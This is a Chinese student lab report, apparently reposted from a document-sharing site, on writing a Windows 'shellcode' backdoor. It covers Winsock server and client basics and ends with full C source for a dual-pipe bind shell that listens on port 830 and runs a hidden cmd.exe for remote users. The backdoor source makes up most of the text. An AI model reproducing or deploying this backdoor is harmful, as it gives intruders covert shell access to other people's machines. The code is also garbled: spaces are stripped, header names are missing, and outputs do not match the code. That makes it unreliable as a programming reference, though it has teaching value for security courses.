单管道后门程序实现.docx
《单管道后门程序实现.docx》由会员分享,可在线阅读,更多相关《单管道后门程序实现.docx(19页珍藏版)》请在冰豆网上搜索。
单管道后门程序实现
3、实验内容与步骤:
ShellCode的提取
实现一个开端口的ShellCode,―个真正的ShellCode。
此ShellCode的功能是在对方机器上用某个端口开一个Telnet服务器,然后等待远程机器来连接。
当远程机器连接上之后,为其开创一个cmd.exe,把远程机器的输入输出和cmd.exe的输入输出联系起来。
这样,远程使用者就有了一个远程Shell。
实现ShellCode的功能是完成网络的远程连接,那自然会涉及到网络通信。
网络通信有好几种实现方法,这里使用WindowsSocket编程。
1、socket网络编程
socket网络编程分为客户端和服务器端,客户端发送请求,服务器端进行应答;
建立连接时,服务器端绑定端口监听(bind&listen),客户端发送连接请求(connect),然后服务器端接受请求accept,至此客户端和服务器端可以收发消息。
需要注意:
1)创建socket前需要调用WSAStartup,对socket进行初始化。
2)服务器端的accept函数,第三个参数addrlen既是输出,也是输入参数,所以需要有初值sizeof(sockaddr);accept(SOCKETs,structsockaddrFAR*addr,intFAR*addrlen);
2、服务端
先是初始化WindowsSocketDll:
WSAStartup(MAKEWORD(2,2),&ws);
然后建立Socket:
sockfd=socket(AF_INET,SOCK_STREAM,0)
再bind本机的MYPORT端口:
my_addr.sin_family=AF_INET/*协议类型是INET */
my_addr.sin_port=htons(MYPORT);/*绑定MYPORT端口*/
my_addr.sin_addr.s_addr=INADDR_ANY; /*本机IP*/
bind(sockfd,(structsockaddr*)&my_addr,sizeof(structsockaddr))
接下来监听端口:
listen(sockfd,BACKLOG)
如果有客户端的连接请求,接收它:
new_fd=accept(sockfd,(structsockaddr*)&their_addr,&sin_size)
最后发送ww0830字符串过去:
send(new_fd,"ww0830\n",14,0)
收尾工作,关闭socket:
closesocket(sockfd); closesocket(new_fd);
代码:
#include
#include
#pragmacomment(lib,"Ws2_32")
#defineMYPORT830/*定义用户连接端口*/
#defineBACKLOG10/*多少等待连接控制*/
intmain()
{
intsockfd,new_fd;/*定义套接字*/
structsockaddr_inmy_addr;/*本地地址信息*/
structsockaddr_intheir_addr;/*连接者地址信息*/
intsin_size;
WSADATAws;
WSAStartup(MAKEWORD(2,2),&ws);//初始化WindowsSocketDll
//建立socket
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
//如果建立socket失败,退出程序
printf("socketerror\n");
exit
(1);
}
//bind本机的MYPORT端口
my_addr.sin_family=AF_INET;/*协议类型是INET*/
my_addr.sin_port=htons(MYPORT);/*绑定MYPORT端口*/
my_addr.sin_addr.s_addr=INADDR_ANY;/*本机IP*/
if(bind(sockfd,(structsockaddr*)&my_addr,sizeof(structsockaddr))==-1)
{
//bind失败,退出程序
printf("binderror\n");
closesocket(sockfd);
exit
(1);
}
//listen,监听端口
if(listen(sockfd,BACKLOG)==-1)
{
//listen失败,退出程序
printf("listenerror\n");
closesocket(sockfd);
exit
(1);
}
printf("listen...");
//等待客户端连接
sin_size=sizeof(structsockaddr_in);
if((new_fd=accept(sockfd,(structsockaddr*)&their_addr,&sin_size))==-1)
{
printf("accepterror\n");
closesocket(sockfd);
exit
(1);
}
printf("\naccept!
\n");
//有连接,发送ww0830字符串过去
if(send(new_fd,"ww0830\n",14,0)==-1)
{
printf("senderror");
closesocket(sockfd);
closesocket(new_fd);
exit
(1);
}
printf("sendok!
\n");
//成功,关闭套接字
closesocket(sockfd);
closesocket(new_fd);
return0;
}
运行服务端:
服务端测试是否监听成功:
在另一台电脑上进行测试,输入我的电脑的服务器IP地址是192.168.20.112
监听成功:
2、客户端
首先是初始化WindowsSocketDll:
WSAStartup(MAKEWORD(2,2),&ws);
然后建立Socket:
sockfd=socket(AF_INET,SOCK_STREAM,0)
接着连接服务器方:
their_addr.sin_family=AF_INET;/*协议类型是INET*/
their_addr.sin_port=htons(PORT);/*连接对方PORT端口*/
their_addr.sin_addr.s_addr=inet_addr(argv[1]);
/*连接对方的IP*/
connect(sockfd,(structsockaddr*)&their_addr,sizeof(structsockaddr))
连接成功就接收数据:
recv(sockfd,buf,MAXDATASIZE,0)
最后把收到的数据打印出来并关闭套接字:
printf("Received:
%s",buf);closesocket(sockfd);
代码:
#include
#include
#include
#pragmacomment(lib,"Ws2_32")
#definePORT830/*客户机连接远程主机的端口*/
#defineMAXDATASIZE100/*每次可以接收的最大字节*/
intmain(intargc,char*argv[])
{argc=2;
intsockfd,numbytes;
charbuf[MAXDATASIZE];
structsockaddr_intheir_addr;/*对方的地址端口信息*/
if(argc!
=2)
{//需要有服务端ip参数
fprintf(stderr,"usage:
clienthostname\n");
exit
(1);
}
WSADATAws;
WSAStartup(MAKEWORD(2,2),&ws);//初始化WindowsSocketDll
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
//如果建立socket失败,退出程序
printf("socketerror\n");
exit
(1);
}
//连接对方
their_addr.sin_family=AF_INET;/*协议类型是INET*/
their_addr.sin_port=htons(PORT);/*连接对方PORT端口*/
their_addr.sin_addr.s_addr=inet_addr("192.168.20.112");/*连接对方的IP*/
if(connect(sockfd,(structsockaddr*)&their_addr,sizeof(structsockaddr))==-1)
{
//如果连接失败,退出程序
printf("conneterror\n");
closesocket(sockfd);
exit
(1);
}
//接收数据并打印出来
if((numbytes=recv(sockfd,buf,MAXDATASIZE,0))==-1)
{
//接收数据失败,退出程序
printf("recverror\n");
closesocket(sockfd);
exit
(1);
}
buf[numbytes]='\0';
printf("Received:
%s",buf);
closesocket(sockfd);
return0;
}
运行客户端:
监听成功,Received:
ww830
服务端出现:
accept!
sendok!
3、建立通信连接
为客户开创一个cmd.exe。
可以用CreateProcess来创建这个子进程,其
原型是
#include
intmain()
{
PROCESS_INFORMATIONProcessInformation;
STARTUPINFOsi;
ZeroMemory(&si,sizeof(si));
CreateProcess(NULL,"cmd.exe/k",NULL,
NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return0;
}
注:
由于CreateProcess的参数很多,大部分不用到,所以使用NULL来代替,第二个参数设为cmd.exe/k,就可以直接创建一个控制台窗口,而且不消失
运行
Telnet后门的高级语言实现之双管道后门实现
初始化Socket,然后Bind端口,再监听Listen
直到有客户请求,就Accept请求。
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立socket
listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ret=bind(listenFD,(sockaddr*)&server,sizeof(server));
ret=listen(listenFD,2);
SOCKETclientFD=accept(listenFD,(sockaddr*)&server,&iAddrSize);
创立两个Pipe,第一个管道用于输出执行结果,第二个管道用于输入命令
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
把CMD子进程输出句柄用管道1的写句柄替换,主进程就可以通过读管道1的读句柄来获得输出。
另外,把CMD子进程的输入句柄用2的读句柄替换,主进程就可以通过写管道2的写句柄来输入命令。
(远程主机)←输入←管道1输出←管道1输入←输出(cmd.exe子进程)
(远程主机)→输出→管道2输入→管道2输出→输入(cmd.exe子进程)
代码:
#include
#include
#pragmacomment(lib,"Ws2_32")
intmain()
{
WSADATAws;
SOCKETlistenFD;
charBuff[1024];
intret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立socket
listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//监听本机830端口
structsockaddr_inserver;
server.sin_family=AF_INET;
server.sin_port=htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr*)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求830端口,接受连接
intiAddrSize=sizeof(server);
SOCKETclientFD=accept(listenFD,(sockaddr*)&server,&iAddrSize);
SECURITY_ATTRIBUTESpipeattr1,pipeattr2;
HANDLEhReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
//建立匿名管道1
pipeattr1.nLength=12;
pipeattr1.lpSecurityDescriptor=0;
pipeattr1.bInheritHandle=true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
//建立匿名管道2
pipeattr2.nLength=12;
pipeattr2.lpSecurityDescriptor=0;
pipeattr2.bInheritHandle=true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
STARTUPINFOsi;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hReadPipe2;
si.hStdOutput=si.hStdError=hWritePipe1;
charcmdLine[]="cmd.exe";
PROCESS_INFORMATIONProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
/*
解释一下,这段代码创建了一个cmd.exe,
把cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换;
cmd.exe的标准输入用第二个管道的读句柄替换。
如下图:
(远程主机)<--输入<-管道1输出<-管道1输入<-输出(cmd.exe子进程)
(远程主机)-->输出->管道2输入->管道2输出->输入(cmd.exe子进程)
*/
unsignedlonglBytesRead;
while
(1)
{
//检查管道1,即cmd进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道1有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!
ret)break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0)break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0)break;
//将命令写入管道2,即传给cmd进程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!
ret)break;
}
}
return0;
}
程序运行:
在cmd下输入telnet192.168.20.111830
输入dir得
4、实验过程和内容:
1、实现一个开端口的ShellCode,―个真正的ShellCode。
此ShellCode的功能是在对方机器上用某个端口开一个Telnet服务器,然后等待远程机器来连接。
当远程机器连接上之后,为其开创一个cmd.exe,把远程机器的输入输出和cmd.exe的输入输出联系起来。
这样,远程使用者就有了一个远程Shell。
2.客户端的几个API:
初始化socket:
wVersionRequested=MAKEWORD(2,0);
WSAStartup(wVersionRequested,&wsaData);
创建socket:
fd=socket(AF_INET,SOCK_STREAM,0);
连接服务器:
memset(&serverAddr,0,sizeof(serverAddr));
serverAddr.sin_family=AF_INET;
serverAddr.sin_port=htons(800);
serverAddr.sin_addr.S_un.S_addr=inet_addr("192.168.20.112");
connfd=connect(clientfd,(sockaddr*)&serverAddr,sizeof(sockaddr));
发送消息:
send(fd,pBuf,10,0);
关闭socket:
closesocket(clientfd);
3.服务器端的几个API:
初始化socket:
wVersionRequested=MAKEWORD(2,0);
WSAStartup(wVersionRequested,&wsaData);
创建socket:
fd=socket(AF_INET,SOCK_STREAM,0);
绑定端口bind():
memset(&serverAddr,0,sizeof(serverAddr));
serverAddr.sin_family=AF_INET;
serverAddr.sin_port=htons(800);
serverAddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
bind(serverfd,(sockaddr*)&serverAddr,sizeof(sockaddr));监听端口listen:
listen(serverfd,1024);connfd=connect(clientfd,(sockaddr*)&serverAddr,sizeof(sockaddr));
接受连接accept:
addrLen=sizeof(sockaddr);//需注意,addrLen是输入输入函数,必须先赋值再传入accept。
connfd=accept(serverfd,(sockaddr*)&clientAddr,&addrLen);
接收消息recv:
recv(connfd,buf,100,0);//此处socket用的是connfd.
关闭socket:
closesocket(fd);
进程间通信(IPC)机制是指同一台计算机的不同进程之间或网络上不同计算机进程之间的通信。
Windows下的方法包括邮槽(Mailslot)、管道(Pipes)、事件(Events)、文件映射(FileMapping)等。
在这里,我们使用匿名管道(AnonymousPipe)来完成这个联系过程。
管道(Pipe)是一种简单的进程间通信(IPC)机制。
实际是一段共享内存,在WindowsNT/Win2000/Win98/Win95下都可以使用。
一个进程向管道写入数据后,另一个进程就可从管道的另一端将其读取出来。
五、实验总结:
通过这次试验,我对shallcode与用socket与双管道实现后门程序有了更深的了解。
ShellCode的功能分为主进程和子进程,主进程的功能是网络连接——传输命令和结果;子进程的功能是执行cmd.exe命令。
把cmd.exe的输入输出和主进程联系起来。
用两个匿名管道,只开一个cmd.exe进程。
有命令来时,通过一个匿名管道传给cmd.exe,执行结果通过另一个匿名管道返回给主进程,即用双管道来实现。